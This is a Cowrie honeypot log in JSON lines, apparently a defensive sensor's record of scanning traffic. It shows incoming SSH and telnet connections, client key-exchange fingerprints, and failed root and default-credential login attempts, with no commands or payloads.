{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:20.456831Z","src_ip":"192.109.200.78","session":"2030d49beb94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:20.699866Z","src_ip":"192.109.200.78","session":"2030d49beb94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:21.783494Z","src_ip":"192.109.200.78","session":"2030d49beb94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.62.32.180","src_port":13626,"dst_ip":"10.17.0.5","dst_port":22,"session":"8766973d57b8","protocol":"ssh","message":"New connection: 195.62.32.180:13626 (10.17.0.5:22) [session: 8766973d57b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:39.116310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:39.120705Z","src_ip":"195.62.32.180","session":"8766973d57b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:39.207422Z","src_ip":"195.62.32.180","session":"8766973d57b8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:80:7e:98:69:13:4c:44:72:ef:90:52:21:af:f4:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6cbdGHCRnP3cwUY4ZwwRr9hDxkzSc+tM96SsMcHADl8/aUn+GvAk2HZd3lA1aessic2JMPfdBm5KlrRLxVlutAzEHZAepfSplW9ANqF+uKYTFHslnuF1djZkv3inT1GEaSZm+qB90F470HKMcB4YT77mx8E3yUPzp4VfKEqrCkY5CmYGqHaupIzLVybzz6P9/ZqCQoKIi5BGl1qEr6DzV4zqTfBbPCHKEvplV0AdZcNcnSCWcb9K6hR5t9WDICKzPgmAs05tiFpAXVhlaMwTAjw0F3mGBPhKUnMEfNAFVJEhsuU4yilSO9ekZnqNEqVSFIKuAit6DKdqFxsKYj21Y+ESPEdsLi3w5hphJbBAL3o29JPREg8MWR4gZR8Ujsc0e1SPUDOonF4mh5Swuvd8qiU5d37WxNACyFTeSp5Awb2jn81Q7eeXgE0PNiaUL2K2zEOeeccb4eEMsOpYL2L23UDA2328yMA6GUlrlpOWz+X1SmuZUZ5nnwi+ZXa63+jU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:80:7e:98:69:13:4c:44:72:ef:90:52:21:af:f4:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:39.617610Z","src_ip":"195.62.32.180","session":"8766973d57b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:80:7e:98:69:13:4c:44:72:ef:90:52:21:af:f4:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC6cbdGHCRnP3cwUY4ZwwRr9hDxkzSc+tM96SsMcHADl8/aUn+GvAk2HZd3lA1aessic2JMPfdBm5KlrRLxVlutAzEHZAepfSplW9ANqF+uKYTFHslnuF1djZkv3inT1GEaSZm+qB90F470HKMcB4YT77mx8E3yUPzp4VfKEqrCkY5CmYGqHaupIzLVybzz6P9/ZqCQoKIi5BGl1qEr6DzV4zqTfBbPCHKEvplV0AdZcNcnSCWcb9K6hR5t9WDICKzPgmAs05tiFpAXVhlaMwTAjw0F3mGBPhKUnMEfNAFVJEhsuU4yilSO9ekZnqNEqVSFIKuAit6DKdqFxsKYj21Y+ESPEdsLi3w5hphJbBAL3o29JPREg8MWR4gZR8Ujsc0e1SPUDOonF4mh5Swuvd8qiU5d37WxNACyFTeSp5Awb2jn81Q7eeXgE0PNiaUL2K2zEOeeccb4eEMsOpYL2L23UDA2328yMA6GUlrlpOWz+X1SmuZUZ5nnwi+ZXa63+jU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:39.622717Z","src_ip":"195.62.32.180","session":"8766973d57b8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6b:42:a4:7c:3f:d6:61:f1:b2:25:b0:c9:7f:9d:f5:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzcKSRlJ2BXzz9NADB1Hlry4ZHs9m1ETfV4+cCeoMflP0Rqpy0A7iWv56b1yozcruv/c2vA29AlYDHuDQqPZBIZ14OmHa9G4aUiUyPXGGN2231/IfO7Wp5zuMDRd5TNmDmjdgIbu/mz+tHGsnhwHXMnsDGvWwTWyJ9W7yW9evENWrL2YETxp5+vGCOPN3O8Zb1agKMfPN/WQtC0vaDks9s9MJIY1iTCfyth2fUkZBQ9PGK1i1ZBN9xHb0KuV5wDtKasib5mMtc75JudEyfDFH8y8vQYHA7AfHvvOEOOpVAbnxRySWtrVCKHzNEdMry/UqecXeTk73Imp6NLILr0Qj1XPr+IKOsPB/wfYJvqRq4qh1yQqK07hYGSiOzrhvla1F/xocMSxeDIocc3yR6qBGP8CtkHeKVkg3fRd1fb2TaB2X1EoGlOq54SbgRiWYuQYmvx9O7e7X3ACcrhJQIhDMQsPSaDOdFFT3OGwRlQAXsRN3ui9caSC5XZEiljykJzr7xFYmYOZ5OteT8ZqNPeOL4WpUP2QF9oYGvjyLD5ASm7duT4BVOF4nwCtsi21pTxnVMxcNam8ZkZnzlOWkUGXngkePcoLob2MCweH0joLA6u5BqkbnVF8rNhaF8ziUgn8W8mYvkJJJ7vPQkYQYs6iWQxX/62I3MY2NiJdqGHl4Ukw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6b:42:a4:7c:3f:d6:61:f1:b2:25:b0:c9:7f:9d:f5:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:39.708597Z","src_ip":"195.62.32.180","session":"8766973d57b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6b:42:a4:7c:3f:d6:61:f1:b2:25:b0:c9:7f:9d:f5:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCzcKSRlJ2BXzz9NADB1Hlry4ZHs9m1ETfV4+cCeoMflP0Rqpy0A7iWv56b1yozcruv/c2vA29AlYDHuDQqPZBIZ14OmHa9G4aUiUyPXGGN2231/IfO7Wp5zuMDRd5TNmDmjdgIbu/mz+tHGsnhwHXMnsDGvWwTWyJ9W7yW9evENWrL2YETxp5+vGCOPN3O8Zb1agKMfPN/WQtC0vaDks9s9MJIY1iTCfyth2fUkZBQ9PGK1i1ZBN9xHb0KuV5wDtKasib5mMtc75JudEyfDFH8y8vQYHA7AfHvvOEOOpVAbnxRySWtrVCKHzNEdMry/UqecXeTk73Imp6NLILr0Qj1XPr+IKOsPB/wfYJvqRq4qh1yQqK07hYGSiOzrhvla1F/xocMSxeDIocc3yR6qBGP8CtkHeKVkg3fRd1fb2TaB2X1EoGlOq54SbgRiWYuQYmvx9O7e7X3ACcrhJQIhDMQsPSaDOdFFT3OGwRlQAXsRN3ui9caSC5XZEiljykJzr7xFYmYOZ5OteT8ZqNPeOL4WpUP2QF9oYGvjyLD5ASm7duT4BVOF4nwCtsi21pTxnVMxcNam8ZkZnzlOWkUGXngkePcoLob2MCweH0joLA6u5BqkbnVF8rNhaF8ziUgn8W8mYvkJJJ7vPQkYQYs6iWQxX/62I3MY2NiJdqGHl4Ukw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:39.711476Z","src_ip":"195.62.32.180","session":"8766973d57b8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:bf:b1:24:99:57:3e:b6:14:a0:15:08:4e:7a:06:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE1hbusr7zxjc5yFN0kzmvBQ6J7Qe1u+pp4sYajs+GghqIvh+BYf6B8WHlwnlnRAy432/qskzIW0vAsVmrmBN1/EgG/5MnF7vTA8vkARzCe1NfkWhZRRx/Q/OrcTqdVTluS3M+BHpy6CPBgk1qUNVhgSq+fFjUMD4yThGNmB8m4kZl7Ufrf7lID5KEAHbaAAihpq4NKWpU8CG3hf2WQWkYiB3+nZo0CTv7Efd/whml9GRC0XlBMV0v+pL8qKf8N6/tihra+CNEJTlcySE1GPbB9JjxxicO0hfdmt64CFUUvmVOpGFWUyCuCpfNe/FUmpoGnw20gNyvsZcz7i6lqDmZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:bf:b1:24:99:57:3e:b6:14:a0:15:08:4e:7a:06:b5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:39.797803Z","src_ip":"195.62.32.180","session":"8766973d57b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:bf:b1:24:99:57:3e:b6:14:a0:15:08:4e:7a:06:b5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE1hbusr7zxjc5yFN0kzmvBQ6J7Qe1u+pp4sYajs+GghqIvh+BYf6B8WHlwnlnRAy432/qskzIW0vAsVmrmBN1/EgG/5MnF7vTA8vkARzCe1NfkWhZRRx/Q/OrcTqdVTluS3M+BHpy6CPBgk1qUNVhgSq+fFjUMD4yThGNmB8m4kZl7Ufrf7lID5KEAHbaAAihpq4NKWpU8CG3hf2WQWkYiB3+nZo0CTv7Efd/whml9GRC0XlBMV0v+pL8qKf8N6/tihra+CNEJTlcySE1GPbB9JjxxicO0hfdmt64CFUUvmVOpGFWUyCuCpfNe/FUmpoGnw20gNyvsZcz7i6lqDmZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:39.800895Z","src_ip":"195.62.32.180","session":"8766973d57b8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ea:51:cd:63:f9:82:41:37:db:26:dd:bd:a0:24:85:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5PcOYLGArwXr+T8bR7a2AO1MKylIyIiHFyPdCHAEbBTu9u2HkMfrWTxtLVd0aPy1sLH3lgZWa7k/RlrnwWc5iq5kt7V2EGCBcaPM/nRjFPDxYUX54P6mQ6Rs9QjfUYjmPt1+yfvWoJROcImStqHs1RSP94KbjSEZ8k+ksaElyHTea9pJNCnCrH1kjUz603LNvHhn36y6AM7XRgeDDS5pXuIpGCmqIxsvHPtl5n9vBFQ+gDeGXJj4ShHwOtund981nNZ92qd+O557ArFMWSz3A/uMjrSySmi4oHbrHj5ySY23vJfrxf2AFre/HMgWy/UveOK1oiwRIEaQIdkWnUZpj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ea:51:cd:63:f9:82:41:37:db:26:dd:bd:a0:24:85:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:39.887656Z","src_ip":"195.62.32.180","session":"8766973d57b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ea:51:cd:63:f9:82:41:37:db:26:dd:bd:a0:24:85:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5PcOYLGArwXr+T8bR7a2AO1MKylIyIiHFyPdCHAEbBTu9u2HkMfrWTxtLVd0aPy1sLH3lgZWa7k/RlrnwWc5iq5kt7V2EGCBcaPM/nRjFPDxYUX54P6mQ6Rs9QjfUYjmPt1+yfvWoJROcImStqHs1RSP94KbjSEZ8k+ksaElyHTea9pJNCnCrH1kjUz603LNvHhn36y6AM7XRgeDDS5pXuIpGCmqIxsvHPtl5n9vBFQ+gDeGXJj4ShHwOtund981nNZ92qd+O557ArFMWSz3A/uMjrSySmi4oHbrHj5ySY23vJfrxf2AFre/HMgWy/UveOK1oiwRIEaQIdkWnUZpj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:39.890730Z","src_ip":"195.62.32.180","session":"8766973d57b8","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"21:33:e1:3b:a6:a4:f3:db:02:02:b9:b6:00:4f:e0:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbkSprTT0KWtI5eEeDcJq2FpG4bK75kH7fiXD+YwYt1LKV6RXbPjoHFFgAUrhdsD0iLoc8cOTRstM4rwwZOymCuFb/nPZuJduEECLgbF9cBdzm63xG0phlwuqHJ4v49hL2aI82U4LOEGb8wpIpxMy3VGZCUUpO3YMlFm3zzgCJCG+E9/MQfyi9fEv6eSOuwE5bQE12C3KpQL5bdFdxVIovijK/uktwRzN/VD/pgwdzaVrTz3UYuiXk9RUMoKps5XWbVR4Lfr6NpRhTmQtg0wRWZW+ZyytKvE7XVLjjRVBMxLakDIXjZGeo2ICq+im/5nXleoWcBMMPIdeKAqVSvKGP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 21:33:e1:3b:a6:a4:f3:db:02:02:b9:b6:00:4f:e0:f8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:39.982669Z","src_ip":"195.62.32.180","session":"8766973d57b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"21:33:e1:3b:a6:a4:f3:db:02:02:b9:b6:00:4f:e0:f8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDbkSprTT0KWtI5eEeDcJq2FpG4bK75kH7fiXD+YwYt1LKV6RXbPjoHFFgAUrhdsD0iLoc8cOTRstM4rwwZOymCuFb/nPZuJduEECLgbF9cBdzm63xG0phlwuqHJ4v49hL2aI82U4LOEGb8wpIpxMy3VGZCUUpO3YMlFm3zzgCJCG+E9/MQfyi9fEv6eSOuwE5bQE12C3KpQL5bdFdxVIovijK/uktwRzN/VD/pgwdzaVrTz3UYuiXk9RUMoKps5XWbVR4Lfr6NpRhTmQtg0wRWZW+ZyytKvE7XVLjjRVBMxLakDIXjZGeo2ICq+im/5nXleoWcBMMPIdeKAqVSvKGP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:39.985892Z","src_ip":"195.62.32.180","session":"8766973d57b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:12:40.073341Z","src_ip":"195.62.32.180","session":"8766973d57b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":49996,"dst_ip":"10.17.0.5","dst_port":22,"session":"4256c6826b76","protocol":"ssh","message":"New connection: 194.59.206.2:49996 (10.17.0.5:22) [session: 4256c6826b76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:13:18.986641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:13:18.990460Z","src_ip":"194.59.206.2","session":"4256c6826b76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:13:19.075500Z","src_ip":"194.59.206.2","session":"4256c6826b76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:13:19.164702Z","src_ip":"194.59.206.2","session":"4256c6826b76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":58966,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8b2b8952aa1","protocol":"telnet","message":"New connection: 107.6.151.170:58966 (159.203.135.109:23) [session: d8b2b8952aa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:13:36.526083Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":20136,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e5f0d231562","protocol":"telnet","message":"New connection: 104.155.26.129:20136 (159.203.135.109:23) [session: 1e5f0d231562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:13:43.409386Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":20144,"dst_ip":"159.203.135.109","dst_port":23,"session":"a20e7404232b","protocol":"telnet","message":"New connection: 104.155.26.129:20144 (159.203.135.109:23) [session: a20e7404232b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:13:43.568713Z"}
{"eventid":"cowrie.session.closed","duration":0.004384040832519531,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:13:43.572973Z","src_ip":"104.155.26.129","session":"a20e7404232b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.155.26.129","src_port":20160,"dst_ip":"159.203.135.109","dst_port":23,"session":"07f982f2842a","protocol":"telnet","message":"New connection: 104.155.26.129:20160 (159.203.135.109:23) [session: 07f982f2842a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:13:43.731747Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":59766,"dst_ip":"10.17.0.5","dst_port":23,"session":"db2c0fdf627a","protocol":"telnet","message":"New connection: 172.81.62.90:59766 (10.17.0.5:23) [session: db2c0fdf627a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:13:50.162294Z"}
{"eventid":"cowrie.session.closed","duration":9.728875875473022,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:13:53.138183Z","src_ip":"104.155.26.129","session":"1e5f0d231562","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":58010,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a2cdbba93b7","protocol":"ssh","message":"New connection: 103.77.175.15:58010 (10.17.0.5:22) [session: 9a2cdbba93b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:13:54.369493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:13:54.373593Z","src_ip":"103.77.175.15","session":"9a2cdbba93b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:13:54.629243Z","src_ip":"103.77.175.15","session":"9a2cdbba93b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.263258457183838,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T03:13:54.789228Z","src_ip":"107.6.151.170","session":"d8b2b8952aa1","protocol":"telnet"}
